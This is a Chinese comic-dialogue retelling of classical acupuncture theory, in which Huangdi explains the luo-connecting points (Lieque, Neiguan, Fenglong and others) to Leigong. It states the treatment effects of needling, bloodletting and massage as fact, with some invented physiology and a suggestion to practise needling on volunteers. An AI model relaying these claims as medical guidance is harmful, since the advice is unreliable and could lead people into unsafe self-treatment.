雷公一听，这才放下心来：“哦，原来是这样啊！那要是遇到那种寒热交加的络脉，针灸也能治吗？” 黄帝点了点头：“当然能治！不过啊，这可得讲究技巧。遇到寒热交加的络脉，咱们得先找到那些多血的络脉，就像是找到了堵塞最严重的地方。然后啊，咱们得隔一天扎一次针，把那些淤血都放出来，直到血放尽了才行。这就像是你给家里大扫除，得把垃圾都清理干净才行！” 雷公一听，连连点头：“对对对，那要是遇到那种少气的络脉呢？” 黄帝叹了口气说：“要是遇到那种少气的络脉啊，咱们就得更加小心了。因为这种络脉就像是气球没吹足气一样，稍微一碰就可能破。这时候啊，咱们针灸的手法就得轻柔一些，就像是给气球打气一样，得慢慢来。不然啊，一不小心就可能把气球扎破了！” 雷公一听，吓得吐了吐舌头：“妈呀，这么危险啊！那要是扎破了会咋样啊？” 黄帝一脸严肃地说：“要是扎破了啊，那可就麻烦了！因为络脉跟咱们的五脏六腑都是相通的，就像是城市的下水道跟各个小区都是相通的一样。络脉要是破了，那脏东西就可能流到五脏六腑里去，到时候可就得不偿失了！” 雷公一听，连忙摆手：“不了不了，我可不敢冒险！那要是遇到这种情况，咱们还有啥别的办法吗？” 黄帝笑了笑说：“当然有啦！遇到这种情况啊，咱们可以先用药物调理一下身体，就像是给身体先做个热身运动一样。等身体的气血运行顺畅了，咱们再进行针灸治疗，这样就安全多了！” 雷公一听，这才松了口气：“哦，原来是这样啊！那黄帝大大，您这针灸学问可真是博大精深啊！我得好好学学才行！” 黄帝一听，哈哈大笑：“你这家伙，总算开窍了！不过啊，学针灸可不是一朝一夕的事，得慢慢来才行。就像是你学做饭一样，得先从切菜、炒菜学起，然后再学做复杂的菜式。针灸也是一样的道理，得先从基础的穴位学起，然后再学复杂的针灸手法！” 雷公一听，挠了挠头：“嘿嘿，那黄帝，您有没有什么快速学会针灸的方法啊？” 黄帝想了想，然后说：“要说快速学会针灸啊，其实也有一个方法。那就是多实践、多总结。就像是学游泳一样，你得先下水才行。针灸也是一样的道理，你得先在人体模型上多练练手，然后再找些志愿者试试针才行。不过啊，这可得小心一些，千万别把人给扎坏了！” 有一天，雷公这个好奇宝宝又来找黄帝老师请教问题了。雷公一脸认真地说：“黄帝老师啊，我这心里头有个大大的问号，就是想知道那个手太阴之别的道理，您能给我讲讲不？” 黄帝一听，哈哈一笑，说：“哟，咱们雷公也开始钻研起中医理论来啦！行，那我就给你说道说道。” 黄帝清了清嗓子，开始正式讲解：“手太阴之别啊，它有个响当当的名字，叫做列缺。这列缺穴啊，就像是人体经络里的一个小明星，位置独特，作用非凡。” “你看啊，这列缺穴它是从哪里开始的呢？就从手腕的上边，那个分间的地方，也就是咱们常说的桡骨茎突与尺骨茎突之间那个凹陷处。它就像是手腕上的一道小门，从这里开始，列缺穴就沿着手太阴肺经的路线，一路直冲掌心而去。” “这列缺穴啊，它可不是个孤家寡人，它一路走一路散，把能量散播到手掌的鱼际部位。鱼际啊，就是咱们大拇指下面那块肉嘟嘟的地方，列缺穴的能量到了这里，就像是给手掌加了个小暖炉，让手掌暖洋洋的。” 雷公一听，眼睛一亮，说：“哎呀，这列缺穴听起来还挺厉害的嘛！那它要是出问题了呢？” 黄帝点了点头，说：“没错，列缺穴要是出问题，那可就热闹了。要是它太实了，也就是能量过剩了，那手掌就会热得跟烤红薯似的，火辣辣地疼。要是它太虚了，能量不足了，那可就惨了，人会不停地打哈欠，就像是永远睡不醒一样，而且啊，小便还会变得频繁，跟开了闸的水龙头似的，关都关不住。” 雷公一听，哈哈大笑，说：“这列缺穴还真是个调皮鬼，一会儿热得要命，一会儿又冷得直哆嗦，还让人不停地跑厕所，真是让人哭笑不得啊！” 黄帝也笑了，说：“是啊，这列缺穴就像是咱们身体里的一个小淘气，得时刻关注着它，不然它就要闹别扭了。不过啊，咱们也有对付它的办法，那就是针灸疗法。” “针灸疗法？”雷公一听，眼睛又亮了，“那要怎么针灸呢？” 黄帝说：“简单得很，你就找到列缺穴的位置，然后在离手腕一寸半的地方下针（这里需要注意的是，按照传统定位，一般是离腕横纹上1.5寸，也就是大约一个半手指的宽度）。这列缺穴啊，它还有个特别的地方，就是它别走阳明。也就是说，它的能量不仅能作用于手太阴肺经，还能影响到手阳明大肠经。所以啊，针灸列缺穴，不仅能治疗手太阴肺经的问题，还能调理手阳明大肠经的功能呢！” 雷公一听，连连点头，说：“原来如此，原来如此！看来这中医针灸还真是博大精深啊！黄帝，您真是我的良师益友啊！” 黄帝一听，笑得眼睛都眯成了一条缝，说：“行了行了，别给我戴高帽了。你啊，以后多学学，多实践，自然就能体会到中医针灸的奥妙了。” 说到这里，黄帝突然话锋一转，说：“不过啊，雷公，我得提醒你一句，针灸虽然神奇，但也不是万能的。咱们中医讲究的是整体观念，辨证施治。所以啊，遇到问题的时候，还得综合考虑，不能一味地依赖针灸。” 雷公一听，连连称是，说：“黄帝说得对，我一定牢记在心！” 经脉篇第十（十一） 话说有一天，雷公这位中医界的“十万个为什么”又来找黄帝请教问题了。他一脸好奇地问：“黄帝啊，我一直对手少阴心经的那个‘别’穴很感兴趣，您能给我讲讲这其中的道理吗？” 黄帝一听，心里暗笑：这雷公，真是个求知欲旺盛的家伙。但他还是耐心地解释道：“好啊，雷公，你问的这个问题挺有深度的。手少阴之别，咱们中医里给它起了个挺文艺的名字，叫‘通里’。这个名字可不是随便起的哦，它寓意着这条经络能疏通咱们心里的那些‘堵得慌’的事儿。” 雷公一听，眼睛一亮：“哇，这么神奇？那它具体在哪里呢？” 黄帝笑了笑，继续说道：“这通里穴啊，它就藏在咱们手腕那儿，大概离手腕一寸半的地方。它从手腕那儿分出来，就像一条小路，弯弯曲曲地往上走，一直走到咱们的心脏里。你说这像不像是一条秘密通道，专门给心脏送温暖、送关怀的？” 雷公听得津津有味，连连点头：“嗯，这比喻真贴切！那它到心脏里干啥呢？” 黄帝继续娓娓道来：“它到了心脏啊，就开始忙活了。一方面，它系着咱们的舌根，就像给舌头系了个安全带，让咱们说话、吃饭都稳稳当当的。另一方面，它还跟咱们的眼睛有关系，属于目系的一部分。你说这通里穴是不是个全能选手，心脏、舌头、眼睛，哪儿都能管？” 雷公一听，笑得前仰后合：“哈哈，黄帝，您这解释太逗了！那它要是出了问题，咱们会咋样呢？” 黄帝收敛了笑容，认真地说：“这通里穴要是太实了，咱们就会觉得胸口堵得慌，像是被一块大石头压着。要是太虚了，那就更糟糕了，连话都说不出来了。所以啊，咱们得好好照顾这个‘全能选手’，别让它太累了。” 雷公一听，连忙点头：“对对对，得好好保养。那要是它出问题了，咱们怎么办呢？” 黄帝老师微微一笑，说道：“这你就不懂了吧？咱们中医有针灸这一绝活。要是通里穴出问题了，咱们就在手掌后面，离手腕一寸的地方扎一针。这一针下去，就像给通里穴送了个温暖的小拥抱，让它重新振作起来。” 雷公一听，眼睛又亮了：“哇，针灸这么神奇？那咱们平时怎么预防它出问题呢？” 黄帝想了想，说道：“其实啊，预防通里穴出问题也不难。咱们平时多按摩按摩手腕那儿，促进血液循环。还有啊，保持心情愉快，别让心里积压太多事儿。毕竟啊，心情好了，啥病都少了。” 雷公一听，连连点头：“对对对，黄帝说得对！看来我以后得多按按手腕，还得学会自我调节心情。” 说到这里，黄帝突然话锋一转：“不过啊，雷公，你得记住，针灸这事儿可不是闹着玩的。虽然它看起来很神奇，但也得讲究个手法和穴位。要是扎错了地方，那可是会出大问题的。” 雷公眨巴着那双充满好奇的大眼睛，跑到黄帝面前，一脸认真地问道：“黄帝，我听说中医里有个叫手心主之别的东东，能不能给我讲讲它的道理啊？” 黄帝一听，心里暗自好笑，这雷公平时总是调皮捣蛋，没想到今天竟然对中医产生了兴趣。于是，黄帝清了清嗓子，开始给雷公讲解起来。 “雷公啊，这手心主之别，其实是我们中医经络学说里的一个重要概念。它有个响亮的名字，叫做‘内关’。你想象一下，如果你的手腕是个小城市，那么这个内关穴，就是城市里的一个重要交通枢纽。”黄帝一边讲解，一边用手比划着，试图让雷公更直观地理解。 “去腕二寸，出于两筋之间。”黄帝继续说道，“这个内关穴啊，它就位于手腕横纹上两寸的地方，藏在两根肌腱之间，就像是个害羞的小姑娘，躲在角落里不轻易露面。” 雷公一听，眼睛瞪得圆圆的，惊讶地说：“哇，这么隐蔽啊！那它有啥作用呢？” 黄帝微微一笑，说：“这内关穴啊，可厉害了！它虽然藏在手腕这个小地方，但作用却大得很。它有个特殊的本领，就是‘别走少阳’。意思是说，它的经络会绕过手臂，连接到少阳经上，就像是一条秘密通道，连接着两个不同的区域。” “然后呢，这条经络还会继续往上走，循经以上，系于心包，络心系。”黄帝继续解释，“简单来说，就是它会一直走到心包这个重要器官，就像是一条生命线，紧紧连接着心包和全身的气血。” 雷公听得入迷，连连点头。但他心里还是有个疑问：“那如果这个内关穴出了问题，会咋样呢？” 黄帝叹了口气，说：“这就得说到它的虚实之分了。如果这个穴位太实了，也就是气血过于旺盛，那就会导致心痛。想象一下，你的心脏就像是一个气球，如果气球里的气太多了，它就会胀痛难忍。同样地，如果内关穴的气血太旺，心脏也会感到疼痛。” “那如果太虚了呢？”雷公迫不及待地问。 “如果太虚了，就会导致头强。”黄帝解释道，“头强啊，就是头部感觉僵硬、不舒服。这就像是你的大脑袋被什么东西紧紧绑住了一样，动弹不得。这其实是因为内关穴的气血不足，无法给大脑提供足够的营养和氧气。” 雷公一听，恍然大悟：“原来如此啊！那如果我们想调理这个内关穴，该怎么做呢？” 黄帝笑了笑，说：“很简单啊，你就用你的手指，轻轻地按揉这个穴位。记住哦，一定要按在两筋之间，那里才是内关穴的藏身之处。按揉的时候，力度要适中，既不要太重也不要太轻。太重了会伤到自己，太轻了又起不到作用。” “而且啊，你还可以配合呼吸来按揉。”黄帝继续说道，“吸气的时候，稍微用力一点；呼气的时候，就放松一点。这样既能调理气血，又能放松身心，简直是一举两得啊！” 雷公听完，眼睛里闪烁着兴奋的光芒：“黄帝，你真是太厉害了！这么复杂的中医理论，你都能讲得这么生动有趣。我现在对中医充满了兴趣，以后还要向你多请教呢！” 黄帝笑着拍了拍雷公的肩膀：“好啊！中医这门学问啊，博大精深，值得我们去学习和探索。我相信啊，只要你用心去学，一定能够成为一名出色的中医大师！” 从此以后啊，雷公就像变了个人似的，天天捧着中医书籍埋头苦读。他还时不时地找黄帝请教问题，和黄帝一起探讨中医的奥秘。 有一天啊，雷公突发奇想：“黄帝大大啊，你说这个内关穴这么神奇，能不能用它来治疗一些常见的疾病呢？” 黄帝想了想，说：“当然可以啦！内关穴可是个多面手啊！它不仅能治疗心痛、头强等疾病，还能缓解胃痛、呕吐、失眠等症状呢！不过啊，在使用针灸治疗的时候啊，我们一定要根据患者的具体情况来选择合适的穴位和针刺手法哦！” 雷公正坐在黄帝的膝下，眨巴着大眼睛，一脸求知欲地问：“嘿，黄帝，我听说人体里藏着好多秘密通道，就像迷宫一样，今天能不能给我讲讲手太阳小肠经的那个‘别’道——支正的故事呢？” 黄帝一听，嘴角上扬，心想：这小子，又想听故事又想学知识，行，今天就给你来一场中医版的“奇幻漂流”。于是，黄帝清了清嗓子，缓缓道来： “雷公啊，这手太阳小肠经的‘支正’，可是个了不起的角色，它的名字听起来就像是武侠小说里的高手，专治各种不服。咱们先定位，它藏在哪里呢？就在手腕往上数五个指头的位置，悄悄咪咪地跟少阴心经打了个照面，就像是邻居家的孩子，时不时就串门子。 ‘支正’这家伙，可不简单，它有两个分身术。一个分身呢，喜欢往上爬，一直爬到肘部，还顺便在肩膀上绕了个圈，跟肩髃穴做了好朋友。这简直就是人体内的‘蜘蛛侠’，飞檐走壁，无所不能啊！ 现在，咱们来点干货，说说这‘支正’不正经起来会怎样。要是它里面气血太足，满了出来，就像小朋友吃撑了，肚子鼓鼓的，这时候啊，关节就会变得松松垮垮，肘关节仿佛失去了灵魂，连举杯子喝水都费劲，这就叫‘实则节弛肘废’。想象一下，雷公你变成了大力水手，但手臂却软绵绵的，连菠菜罐头都打不开，是不是很搞笑？ 反过来，如果‘支正’这里气血不足，就像饿了好几天的小猫，瘦骨嶙峋，这时候，手臂上就可能长出一些莫名其妙的小包包，小得像是指甲盖上的痂，或者是疥疮那样的小点点，这就是‘虚则生肬’。想象一下，雷公你突然发现自己手臂上长满了‘小珍珠’，还以为自己成了宝藏男孩呢，结果却是虚得慌！ 那么，怎么治疗这些状况呢？关键就在于找到‘支正’这个调皮鬼，给它来个‘特别关照’。针灸大师们这时候就会出手，用他们那神奇的银针，轻轻一点，就像是给‘支正’挠痒痒，实则是在调节气血，让它乖乖听话。气血平衡了，‘支正’也就不捣乱了，手臂恢复灵活，那些莫名其妙的小包包也就消失得无影无踪啦！ 说到这里，雷公，你是不是也想学学怎么给‘支正’挠痒痒呢？不过，记得哦，针灸这门学问，看似简单，实则深奥，需要耐心和细心，不能像你平时那样毛毛躁躁的。要想成为针灸小能手，你得先把人体的经络穴位图背得滚瓜烂熟，然后再跟着为师多多实践，才能得心应手。” 雷公一听，眼睛瞪得圆圆的，满脸兴奋地说：“哇，黄帝，这听起来就像是探险游戏嘛！我要成为那个打败经络怪兽，拯救手臂的英雄！不过，要是我在针灸的时候不小心扎到自己，会不会变成‘针灸侠’，拥有超能力呢？” 黄帝听了，忍俊不禁，拍了拍雷公的脑袋说：“傻孩子，针灸虽好，可不要乱用哦！超能力是没有的，但学会了，保证你能成为亲朋好友中的健康小卫士，帮他们解决各种小毛病，说不定还能收获不少崇拜的眼神和小零食呢！” 雷公这家伙，一脸好奇宝宝的样子，跑到黄帝面前，眨巴着他那双充满求知欲的大眼睛，问道：“嘿，黄帝，我一直对那个手阳明之别的玩意儿挺感兴趣的，您能给我讲讲不？”黄帝一听，心里暗笑，这雷公啊，还真是对中医理论有着一股子不灭的热情呢！于是，黄帝清了清嗓子，准备开启一场关于手阳明之别的爆笑科普之旅。 黄帝慢悠悠地说：“雷公啊，你这问题问得好！手阳明之别，咱们中医里给它起了个挺文艺的名字——偏历。想象一下，就像是你走在一条熙熙攘攘的大街上，突然拐进了一条静谧的小巷，这偏历啊，就是那条别有洞天的小巷。它在咱们手腕那儿，距离腕横纹大约三寸远的地方悄悄出现，然后跟太阴经玩了个‘你追我赶’的游戏，就这么别进去了。” 雷公一听，眼睛一亮：“哇，听起来好神秘啊！那它进去之后都干了些啥呢？” 黄帝笑了笑，继续说道：“别急，好戏在后头呢！这偏历啊，它可不是个省油的灯，一进太阴经的地盘，就开始四处溜达。它先是顺着胳膊往上爬，一路哼着小曲儿，爬到了肩髃穴那儿，也就是咱们肩膀头子上那个软绵绵的小窝。嘿，你别说，它还挺会享受的！爬累了，就顺势一拐，沿着脸颊曲线，直接冲上了面门，结果一不小心，还‘亲’到了牙齿上，这下可好，牙齿都要喊疼了！” 雷公听得哈哈大笑：“这偏历也太调皮了吧！那它还有别的啥壮举不？” 黄帝故作神秘地说：“当然有啦！这偏历还有另一路分队呢，它们不走寻常路，直接钻进了耳朵里，跟耳朵里的那些宗脉大哥们汇合去了。这下，耳朵也成了它的地盘啦！” 雷公挠挠头：“那它这么能干，要是闹起脾气来，咱们可咋整啊？” 黄帝一本正经地说：“你问对人了！这偏历要是实了，那可就不得了了，牙齿会疼得要命，耳朵也会嗡嗡响，跟聋了似的。反过来，要是它虚了，牙齿就会觉得冷飕飕的，好像被冰封了一样，连带着腮帮子都可能麻痹掉，那感觉，啧啧，可不好受啊！” 雷公一听，紧张地问：“那咋治它呢？总不能任由它这么折腾吧？” 黄帝微微一笑，拍了拍雷公的肩膀：“放心，咱们中医有的是办法！治它，就得在它‘搞事儿’的地方动手。比如，它那调皮的分支不是亲了牙齿嘛，咱们就在它别入太阴经的那个三寸远的地方——偏历穴上扎一针，给它个温柔的提醒。再比如，耳朵不舒服了，咱也可以在那里施针，让它知道谁是老大，不敢再乱来！” 雷公恍然大悟：“原来如此！看来，这针灸还真是神奇啊，不仅能治病，还能管教这些调皮的经络呢！” 黄帝点头笑道：“没错，针灸就像是咱们身体里的交警，哪里拥堵了，哪里闹事了，它都能及时出现，疏通引导，让身体回归和谐。不过，话说回来，虽然针灸厉害，但也得找对了穴位，用对了方法，才能药到病除，否则，就像你炒菜没放盐，再怎么折腾也是白搭！” 经脉篇第十（十二） 这天，雷公闲着没事，就跑到黄帝面前，一脸好奇地问：“黄帝，我一直有个问题想请教您，就是那个手少阳之别的道理，您能给我讲讲不？” 黄帝一听，心想：“哟呵，这雷公今天怎么对中医理论感兴趣了？”不过，黄帝毕竟是黄帝，他微微一笑，说：“行啊，那我就给你说道说道这个手少阳之别。你得听好了，这可不是一般的知识点哦！” 于是，黄帝清了清嗓子，开始了他的“跨界”讲解：“手少阳之别，这个名字听起来就很酷炫吧？它有个响当当的名字，叫做‘外关’。你可别小看这个名字，它可是蕴含着深厚的中医智慧呢！” 雷公一听，眼睛立马就亮了：“外关？这名字听起来就像是武侠小说里的神秘关卡啊！是不是打通了这个关卡，就能功力大增，成为武林高手了？” 黄帝一听，差点没笑出声来：“哈哈，雷公啊雷公，你这想象力可真是丰富。不过呢，虽然打通‘外关’不能让你成为武林高手，但它确实对你的身体有着不可小觑的作用。” 黄帝接着说：“这个‘外关’啊，它位于手腕往上两寸的地方。你想象一下，你的手臂就像是一条高速公路，而这‘外关’呢，就是这条高速公路上的一个重要枢纽。它不仅能够外绕手臂，把气血输送到全身各处，还能注入胸中，与心主（也就是心包经）相合。简直就是身体里的‘超级交通枢纽’嘛！” 雷公一听，顿时恍然大悟：“哦~原来是这样啊！那如果这个‘外关’出了问题，身体会有什么反应呢？” 黄帝点了点头，说：“问得好！如果这个‘外关’太实了，也就是说气血过于充盈，那就会导致肘部拘挛，就像是被什么东西紧紧绑住了一样，动弹不得。反之呢，如果这个‘外关’太虚了，气血不足，那就会导致肘部无力，连个小东西都拿不起来。所以啊，这个‘外关’的状态，可是直接关系到我们手臂的灵活度和力量的哦！” 雷公一听，顿时紧张起来：“那……那如果‘外关’出了问题，我们该怎么办啊？” 黄帝一看雷公那紧张的样子，就忍不住笑了起来：“哈哈，雷公啊雷公，你别急嘛。其实啊，解决这个问题的方法很简单，那就是针灸疗法。我们只需要在‘外关’这个穴位上进行针灸治疗，就能调整气血的平衡，让‘外关’重新恢复它的正常功能啦！” 雷公一听，顿时松了一口气：“哦~原来如此啊！看来针灸还真是神奇啊！不过……黄帝，您能不能再给我详细讲讲针灸疗法啊？我这人对新鲜事物总是充满好奇嘛！” 黄帝一看雷公那求知若渴的样子，就忍不住点了点头：“行！那我就再给你讲讲针灸疗法。针灸啊，其实是一种非常古老的中医治疗方法。它利用细针刺激人体特定的穴位，来调整人体的气血平衡，从而达到治疗疾病的目的。” “就像我们这个‘外关’穴位一样，如果它太实了，我们就可以用泻法来针灸它，把多余的气血给泻出去。反之呢，如果它太虚了，我们就可以用补法来针灸它，给它补充一些气血。这样一来二去，‘外关’就能重新恢复它的正常功能啦！” 雷公一听，顿时眼睛放光：“哇！针灸疗法听起来就像是武侠小说里的绝世武功啊！是不是学会了针灸疗法，就能包治百病、起死回生了？” 黄帝一听，顿时哭笑不得：“哈哈，雷公啊雷公，你这想象力可真是无人能敌啊！虽然针灸疗法确实有着神奇的疗效，但它可不是万能的。它只能治疗一些特定的疾病和症状哦！所以啊，我们还是要理性看待针灸疗法才行。” 雷公一听，顿时有些失望：“哦……这样啊！我还以为学会了针灸疗法就能成为神医了呢！” 黄帝一看雷公那失望的样子，就忍不住拍了拍他的肩膀：“雷公啊雷公，你可别灰心。虽然针灸疗法不能让你成为神医，但它确实是一种非常有效的中医治疗方法。而且啊，学会了针灸疗法，你还能更好地了解自己的身体和中医的智慧呢！” 雷公一脸好奇，眼睛里闪烁着求知的光芒，仿佛在说：“黄帝，今天又要给我讲什么新奇的知识点呢？” 黄帝看着雷公这副模样，忍不住笑了笑，心想：“这家伙，真是对中医充满了无限热爱啊！”于是，黄帝清了清嗓子，缓缓说道：“雷公啊，今天咱们来聊聊足太阳之别——飞扬的秘密吧！” 雷公一听，眼睛立马瞪得圆圆的，像发现了新大陆一样兴奋：“飞扬？这名字听起来好酷炫啊！是不是意味着它能让我飞起来？” 黄帝被雷公的幽默逗乐了，笑着摇了摇头：“哎呀，雷公啊，你这想象力真是太丰富了！不过呢，飞扬虽然不能让你直接飞起来，但它可是足太阳膀胱经上的一位重要穴位，作用可大了去了！” “来来来，我给你细细道来。”黄帝边说边比划起来，“你看啊，这足太阳之别，也就是飞扬穴，它位于小腿后外侧，距离外踝尖上七寸的地方。这个位置啊，就像是膀胱经上的一条秘密通道，专门连接着少阴肾经，实现着经络之间的跨界交流呢！” 雷公听得津津有味，不住地点头：“哦~原来是这样啊！那飞扬穴要是出了问题，会有什么表现呢？” 黄帝微微一笑，仿佛是在说：“重头戏来了，你可得听好了！”他接着说：“飞扬穴要是实证了，就好比膀胱经这条高速公路堵车了，气血运行不畅，那就会出现鼻塞、流鼻涕，就像是鼻子被什么东西堵住了似的，呼吸困难。同时呢，头背部也会感到疼痛，就像是有人在你头上敲鼓，背上拔罐一样，那叫一个酸爽！” 雷公一听，夸张地做了个痛苦的表情：“哎哟喂，这也太难受了吧！那要是虚证呢？” 黄帝继续讲解：“要是虚证啊，就好比膀胱经这条河流水位下降了，滋润不够，那鼻子就会干燥出血，就像是鼻子里的‘小喷泉’突然失控了一样。所以啊，飞扬穴的状态，直接关系到我们鼻子的健康和舒适呢！” 雷公听得连连点头，但又忍不住问：“那要是飞扬穴出了问题，我们该怎么办呢？” 黄帝眨了眨眼，神秘一笑，说：“嘿，这你可就问对人啦！这事儿啊，得靠咱们老祖宗传下来的针灸疗法！你想啊，飞扬穴这家伙要是闹别扭了，咱们就得来个‘对症下药，精准打击’！咱们的针灸大师们，那可都是身怀绝技的高手，他们轻轻一挥，银针就如灵蛇出动，准确无误地刺入飞扬穴。这银针啊，就像是气血的指挥官，轻轻一转，就能调整气血的运行轨迹，疏通经络，调和阴阳。这样一来，不管是鼻塞、头痛还是鼻出血这些小捣蛋鬼，都得乖乖投降，症状统统都能得到缓解！怎么样，咱们中医针灸是不是既神奇又有趣呢？” 雷公一听，眼睛立马亮了起来：“哇！针灸这么神奇啊！那以后我是不是也可以学学针灸，给自己治治病呢？” 黄帝看着雷公这副跃跃欲试的样子，忍不住提醒道：“针灸虽然神奇，但也不是随便就能学的哦！它可是需要深厚的中医理论基础和丰富的实践经验呢！不过呢，你要是对针灸感兴趣，我可以给你介绍一些入门书籍和视频教程，让你先了解了解。” 有一天，雷公这位中医界的“十万个为什么”又来找黄帝请教问题了。只见他一脸好奇，眼睛里闪烁着求知的光芒，仿佛在说：“今天，我又要挖出点中医的宝藏来啦！” 雷公清了清嗓子，一本正经地问道：“黄帝啊，我听说中医里有个叫‘足少阳之别’的东西，这究竟是咋回事儿？能给我讲讲不？” 黄帝一听，心里暗笑：“这小子，又来对付我这本活生生的中医百科全书了。”但黄帝可是个有耐心的人，他微微一笑，缓缓开口：“好啊，雷公，今天咱们就来聊聊这个‘足少阳之别’，也叫‘光明’的小秘密。” “你看啊，咱们人体的经络系统，那可是个错综复杂、四通八达的高速公路网。这‘足少阳之别’，就像是少阳经上的一条‘秘密通道’，它不走寻常路，偏偏要在离脚踝五寸的地方拐个弯，然后去跟厥阴经来个‘串门儿’。”黄帝一边比划着，一边用生动的语言描述着。 雷公一听，眼睛瞪得圆圆的，仿佛在说：“哇塞，这么神奇的吗？” 黄帝继续讲解：“这条‘秘密通道’啊，它可不仅仅是个过路客，它还负责下络到脚跗部位，就像是给脚部送温暖的‘快递小哥’。不过呢，这位‘快递小哥’的工作状态，可直接关系到咱们的健康哦。” “要是它工作得太卖力，也就是‘实则厥’的情况，那咱们的脚可就要遭殃了，可能会突然出现麻木、厥冷的症状，就像是脚被冻僵了一样，动弹不得。这时候啊，咱们就得赶紧给这位‘快递小哥’降降温，让它别太拼了。”黄帝说到这里，故意停顿了一下，仿佛在等待雷公的反应。 雷公一听，连忙点头，心里暗自庆幸：“还好我平时没让这位‘快递小哥’太辛苦。” 黄帝见状，继续幽默地说：“不过啊，要是这位‘快递小哥’工作得太懒散，也就是‘虚则痿躄’的情况，那咱们可就要面临更大的问题了。你可能会觉得脚部无力，软绵绵的，连坐都坐不稳，更别说站起来了。这时候啊，咱们就得赶紧给这位‘快递小哥’加加油，让它振作起来。” 雷公一听，忍不住笑出声来：“黄帝，您这比喻真是太形象了！这‘足少阳之别’简直就是咱们身体的‘快递小哥’嘛！” 黄帝也跟着笑了起来：“没错，雷公，中医的理论虽然深奥，但咱们可以用生活中的例子来帮助理解。这样不仅能学得更扎实，还能让中医知识变得更加有趣呢！” 说到这里，黄帝话锋一转，开始深入讲解针灸理论：“那么，针对‘足少阳之别’出现的问题，咱们该怎么办呢？很简单，针灸疗法就是咱们的好帮手。咱们可以在出现症状的相应穴位上进行针灸治疗，就像是给这位‘快递小哥’发送一个‘调整工作状态’的信号。” “比如说啊，要是脚部麻木、厥冷，咱们就可以在‘光明穴’上下功夫。这个穴位啊，就像是‘足少阳之别’这条秘密通道的‘总开关’，通过针灸刺激它，就能调节气血运行，让脚部重新温暖起来。”黄帝一边讲解，一边示范着针灸的手法。 雷公看得津津有味，仿佛自己也成了针灸大师：“黄帝，您这一手针灸功夫真是太绝了！我以后也要好好学学！” 黄帝听了，满意地点点头：“雷公啊，你学医的态度我很欣赏。不过啊，针灸这门学问可不是一朝一夕就能掌握的。你得勤学苦练，不断实践和总结才行。” 雷公一听，连忙点头答应：“放心吧黄帝！我一定会好好努力的！” 说到这里，黄帝突然话锋一转：“不过啊雷公，咱们今天聊的‘足少阳之别’啊，可不仅仅是个理论概念哦。它可是跟咱们的日常生活息息相关的。比如说啊，你平时要是经常久坐不动或者过度劳累啊，就可能影响到这条经络的气血运行哦。” “所以啊雷公啊，咱们平时啊得多动动啊！别老是坐着不动或者熬夜加班啥的。不然啊，这‘足少阳之别’可就要抗议啦！”黄帝说到这里忍不住笑了起来。 雷公一听也跟着笑了起来：“哈哈黄帝老师！您说得太对了！我以后啊一定多注意身体！争取不让这‘足少阳之别’给我添乱！” 经脉篇第十（十三） 经脉篇第十（十三） 话说有一天，雷公这家伙闲来无事，坐在云端上抠着脚丫子，突然眉头一皱，计上心来，对着黄帝大喊一声：“嘿，黄帝，我听说你中医理论博大精深，那我来考考你，足阳明胃经那个‘别的’是啥玩意儿？”黄帝一听，心想这雷公又皮痒了，不过既然人家开口了，咱也得给他个面子，于是慢悠悠地说：“你问的这个啊，那可是个厉害角色，名叫‘丰隆穴’，听起来就像是丰收的大隆包，其实它是足阳明胃经的一个超级大分支！” 黄帝清了清嗓子，开始了他的“中医相声”表演：“这丰隆穴啊，它可不简单，位置嘛，就在你脚踝往上数八寸的地方，悄悄咪咪地拐了个弯，跑到脾经那边串门去了，简直就是经络界的‘跨界歌王’。你说这算不算‘别走太阴’，哈哈，是不是觉得我这比喻很接地气？” 雷公一听，眼睛瞪得跟铜铃似的，连连点头：“嗯，这解释有意思，继续继续！” 黄帝接着说：“这丰隆穴的分支，那可真是能上天入地，它沿着小腿外侧那条线，一路向上爬，就像爬山虎一样，不仅爬得高，还爱攀附，最后竟然能爬到头上，跟各路经络大哥大姐们汇合，简直是经络界的‘社交达人’。你说这‘循胫骨外廉，上络头项，合诸经之气’，是不是听起来就像是一场经络界的狂欢派对？” 雷公笑得前仰后合，差点从云上掉下来：“哈哈，你这黄帝，讲起中医来真是有一套，继续你的表演！” 黄帝见状，更是来了劲：“说到这丰隆穴的问题，那可真是五花八门。要是它里面的气不顺，逆着走了，嘿，那可不得了，喉咙就像被掐住了一样，说不出话来，成了‘喉痹卒瘖’，就像是突然变成了哑巴，那场面，想想就尴尬！” 雷公一听，笑得差点岔气：“哈哈，这丰隆穴也太调皮了吧，还能让人变哑巴？” 黄帝摆摆手：“别急，还没完呢！要是这丰隆穴里面的气太足了，那可真是‘实则狂巅’，就像打了鸡血一样，疯狂到不行，说不定还会以为自己是超人，要飞上天和太阳肩并肩呢！反过来，要是它气虚了，那就成了‘虚则足不收，胫枯’，脚就像被冻住了一样，迈不开步，小腿还干巴巴的，像是被抽干了水分，你说这丰隆穴是不是个‘情绪大师’？” 雷公笑得眼泪都出来了：“哈哈，你这黄帝，真是太逗了，把中医说得跟相声似的，我算是服了！” 黄帝得意地笑了笑：“怎么样，这下你对足阳明胃经的‘丰隆穴’有了全新的认识了吧？不过，玩笑归玩笑，这丰隆穴可是个宝贝，中医里常说‘治痰要穴属丰隆’，它对于化痰、祛湿、调理脾胃那可是有着不可小觑的作用。要是有人湿气重，痰多，或者感觉小腿酸胀、沉重，按摩按摩丰隆穴，说不定能有奇效哦！” 雷公一听，眼睛一亮：“这么说来，丰隆穴还是个‘祛湿小能手’？那我得赶紧记下来，以后谁再跟我说湿气重，我就推荐他按按丰隆穴，哈哈！” 黄帝点点头：“没错，不过记得，按摩穴位也得讲究方法，力度要适中，时间也别太长，不然可就成了‘按摩过度’，反而伤身了。还有啊，中医讲究的是辨证施治，每个人的体质不同，穴位反应也不一样，最好还是找专业的中医医师指导一下，这样才能安全又有效。” 有一天，雷公这位中医药界的“十万个为什么”又来找黄帝老师请教问题了。他一脸好奇，眼睛瞪得圆圆的，就像发现了新大陆一样，张口就问：“黄帝啊，我一直对那个足太阴之别特别感兴趣，您能给我讲讲这里面的门道吗？” 黄帝一听，心里暗笑：“这小子，又来对中医理论刨根问底了。”但他脸上却是一本正经，缓缓开口：“好，那我就给你说道说道这足太阴之别的道理。” “首先啊，足太阴之别，它有个响亮的名字，叫做公孙。”黄帝老师清了清嗓子，继续说道，“公孙这家伙，可调皮了，它不在足太阴脾经的主线上好好待着，非要跑到距离脚踝骨后一寸的地方，然后转头就走，去投奔阳明胃经了。你说它是不是个‘叛逆少年’？” 